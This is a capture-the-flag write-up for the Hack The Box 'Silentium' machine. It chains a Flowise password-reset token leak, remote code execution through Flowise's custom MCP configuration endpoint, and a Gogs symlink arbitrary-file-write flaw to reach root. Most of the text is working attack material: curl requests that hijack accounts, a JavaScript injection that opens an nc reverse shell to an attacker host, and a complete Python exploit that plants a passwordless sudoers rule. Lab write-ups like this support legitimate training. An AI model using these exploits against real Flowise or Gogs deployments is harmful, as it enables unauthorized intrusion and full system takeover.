CTF Writeup Silentium - HTB

This writeup details the complete attack chain for the Silentium machine, starting from a vulnerable Flowise AI instance to a privilege escalation using a recent Gogs vulnerability (CVE-2025-8110).

1. Enumeration & Discovery

Initial enumeration of the target IP revealed an Nginx web server redirecting to silentium.htb and an open SSH port.

nmap -sV -sC <TARGET_IP>

Adding the primary domain to /etc/hosts:

echo "<TARGET_IP> silentium.htb" | sudo tee -a /etc/hosts

VHost Fuzzing

Knowing we were dealing with a web application, we fuzzed for subdomains using gobuster and discovered a staging environment:

gobuster vhost -u http://silentium.htb -w /usr/share/wordlists/dirb/common.txt --append-domain

This revealed staging.silentium.htb. We added this to /etc/hosts and navigated to it, discovering an instance of Flowise AI (version 3.0.5).

2. Initial Access: Flowise AI Password Reset Vulnerability

The Flowise AI instance was vulnerable to an unauthenticated API logic flaw (CVE-2025-58434) that leaks password reset tokens directly in the API response.

Step 1: Leaking the Token

By sending a POST request to the "forgot password" endpoint with a valid username ([e-mail]), the server responded with the user object, including the tempToken.

curl -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
     -H "Content-Type: application/json" \
     -d '{"user": {"email": "[e-mail]"}}'

Step 2: Overcoming the 500 Internal Server Error

Initially, attempting to use the token to reset the password returned a 500 Internal Server Error complaining about a database transaction. Analyzing the behavior revealed two things:

1. Token Expiration: The token had a very short lifespan (tokenExpiry).

2. Payload Structure: The server expected a flattened payload rather than a nested "user" object.

By immediately generating a fresh token and using a corrected JSON payload, the password was successfully reset.

curl -X POST http://staging.silentium.htb/api/v1/account/reset-password \
     -H "Content-Type: application/json" \
     -d '{
       "tempToken": "<FRESH_LEAKED_TOKEN>",
       "password": "<NEW_PASSWORD>",
       "confirmPassword": "<NEW_PASSWORD>"
     }'

With the credentials (<EMAIL> / <PASSWORD>), we logged into the Flowise dashboard.

3. Remote Code Execution (RCE) via Flowise (Model Context Protocol)

Once authenticated as an admin in Flowise, we explored the integration of the Model Context Protocol (MCP), a standard that allows LLMs to interact with external tools and data sources. In Flowise 3.0.5, the /api/v1/node-load-method/customMCP endpoint was found to be vulnerable to Insecure Code Evaluation.

The vulnerability lies in how Flowise handles the mcpServerConfig parameter. When a user configures a "Custom MCP" node, the server takes the provided configuration string and evaluates it within the Node.js environment to initialize the connection. Because this evaluation is performed without proper sandboxing, an attacker can inject arbitrary JavaScript code.

The Attack Path:

1. Authentication: We secured our access using either the session JWT Bearer Token or the persistent API Key found in the dashboard settings.

2. Payload Crafting: We crafted a JSON payload that targeted the customMCP load method. The payload used an Immediately Invoked Function Expression (IIFE) within the mcpServerConfig string to require the child_process module and execute a reverse shell command.
   

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f');return 1;})()} )"
  }
}

1. Execution: We saved the payload to a file named payload.json and sent it to the endpoint using curl, authorizing the request with our retrieved API key:

curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
     -H "Authorization: Bearer <YOUR_API_KEY>" \
     -H "Content-Type: application/json" \
     -d @payload.json

Upon sending the request, the Node.js backend evaluated the mcpServerConfig string, immediately executing our reverse shell.

The shell landed us inside the Flowise Docker container as the node user.

4. Pivoting to the Host

Being inside a Docker container meant we needed to find a way to the host machine.

Enumerating the container's environment variables (env) revealed sensitive credentials, including the password for the local user ben: <USER_PASSWORD>.

Since the host had SSH exposed, we used these credentials to log in as ben on the main host.

ssh [e-mail]

User Flag Captured! cat /home/ben/user.txt

5. Privilege Escalation: Gogs Arbitrary File Write (CVE-2025-8110)

System enumeration as ben revealed a local Gogs instance running on port 3000/3001. Checking the running processes (ps aux | grep gogs) confirmed that the Gogs web process was running as root.

Gogs is vulnerable to CVE-2025-8110, an Arbitrary File Write vulnerability caused by improper handling of symbolic links via the API. By pushing a repository containing a symlink that points outside the repository and then updating the file via the API, an attacker can overwrite arbitrary files as the user running Gogs (root).

We used SSH local port forwarding to expose the internal Gogs web interface to our local attacking machine:

ssh -L 8080:127.0.0.1:3000 [e-mail]

6. Gogs Exploitation: Manual Method (Web UI)

If an attacker prefers a manual approach, the vulnerability can be exploited directly through the Gogs dashboard at http://127.0.0.1:8080.

1. Account Setup: Register a new user account (e.g., <USERNAME>).

2. API Token Generation: Navigate to User Settings > Applications. Under "Generate New Token," provide a name and click Generate Token. Save this token for API authentication.

3. Repository Creation: Create a new repository and ensure it is initialized.

4. Symlink Creation (Local): On your attacking machine, clone the repo, create a symlink pointing to the target file on the host, and push it:
   

   git clone http://127.0.0.1:8080/<USERNAME>/<REPO>.git
   cd <REPO>
   ln -s /etc/sudoers.d/ben malicious_link
   git add malicious_link && git commit -m "Add symlink" && git push
   

5. Payload Delivery: Use a tool like curl or Postman to send a PUT request to the Gogs API to update the content of malicious_link. This triggers the arbitrary write to the host's filesystem.

---

7. Gogs Exploitation: Automated Attack (Python Script)

To increase efficiency and reliability, we used a finalized Python script (new_exploit.py) to handle the authentication, token generation, repository management, and symlink poisoning.

The Final Working Logic

The script's success relied on targeting the /etc/sudoers.d/ directory. By writing a new configuration file for the user ben and ensuring the payload included a trailing newline (\n), we were able to bypass the sudo password prompt entirely.

The Exploit Code (new_exploit.py)

#!/usr/bin/env python3

import argparse
import requests
import os
import subprocess
import shutil
import urllib3
import base64
from urllib.parse import urlparse
from bs4 import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def login(session, base_url, username, password):
    login_url = f"{base_url}/user/login"
    resp = session.get(login_url)
    soup = BeautifulSoup(resp.text, "html.parser")
    csrf = soup.select_one("input[name=_csrf]").get("value")
    login_data = {"_csrf": csrf, "user_name": username, "password": password}
    session.post(login_url, data=login_data, allow_redirects=True)

def get_application_token(session, base_url):
    settings_url = f"{base_url}/user/settings/applications"
    get_resp = session.get(settings_url)
    soup = BeautifulSoup(get_resp.text, "html.parser")
    csrf = soup.select_one("input[name=_csrf]").get("value")
    data = {"_csrf": csrf, "name": os.urandom(8).hex()}
    resp = session.post(settings_url, data=data)
    soup = BeautifulSoup(resp.text, "html.parser")
    return soup.find("div", class_="ui info message").find("p").text.strip()

def create_malicious_repo(session, base_url, token):
    api = f"{base_url}/api/v1/user/repos"
    repo_name = os.urandom(6).hex()
    data = {"name": repo_name, "auto_init": True, "ssh": True}
    session.headers.update({"Authorization": f"token {token}"})
    session.post(api, json=data)
    return repo_name

def upload_malicious_symlink(base_url, username, password, repo_name):
    repo_dir = f"/tmp/{repo_name}"
    parsed = urlparse(base_url)
    clone_url = f"{parsed.scheme}://{username}:{password}@{parsed.netloc}/{username}/{repo_name}.git"
    subprocess.run(["git", "clone", clone_url, repo_dir], check=True)
    os.symlink("/etc/sudoers.d/ben", os.path.join(repo_dir, "malicious_link"))
    subprocess.run(["git", "add", "malicious_link"], cwd=repo_dir, check=True)
    subprocess.run(["git", "commit", "-m", "Poison"], cwd=repo_dir, check=True)
    subprocess.run(["git", "push", "origin", "master"], cwd=repo_dir, check=True)
    return repo_dir

def exploit(session, base_url, token, username, repo_name, payload):
    api = f"{base_url}/api/v1/repos/{username}/{repo_name}/contents/malicious_link"
    data = {
        "message": "Exploit CVE-2025-8110",
        "content": base64.b64encode(payload.encode()).decode(),
    }
    session.put(api, json=data)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True)
    args = parser.parse_args()

    username = "<USERNAME>"
    password = "<PASSWORD>"
    payload = "ben ALL=(ALL) NOPASSWD: ALL\n"

    session = requests.Session()
    login(session, args.url, username, password)
    token = get_application_token(session, args.url)
    repo_name = create_malicious_repo(session, args.url, token)
    repo_dir = upload_malicious_symlink(args.url, username, password, repo_name)
    exploit(session, args.url, token, username, repo_name, payload)

if __name__ == "__main__":
    main()

Running the script:

python3 new_exploit.py -u http://127.0.0.1:8080

8. Final Escalation

After the script reported success, we returned to our SSH session as ben and verified our new privileges:

ben@silentium:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)

ben@silentium:~$ sudo cat /root/root.txt
7a4a0316f8faed5f786a5febcfcd0040

Root Flag Captured! Machine Owned.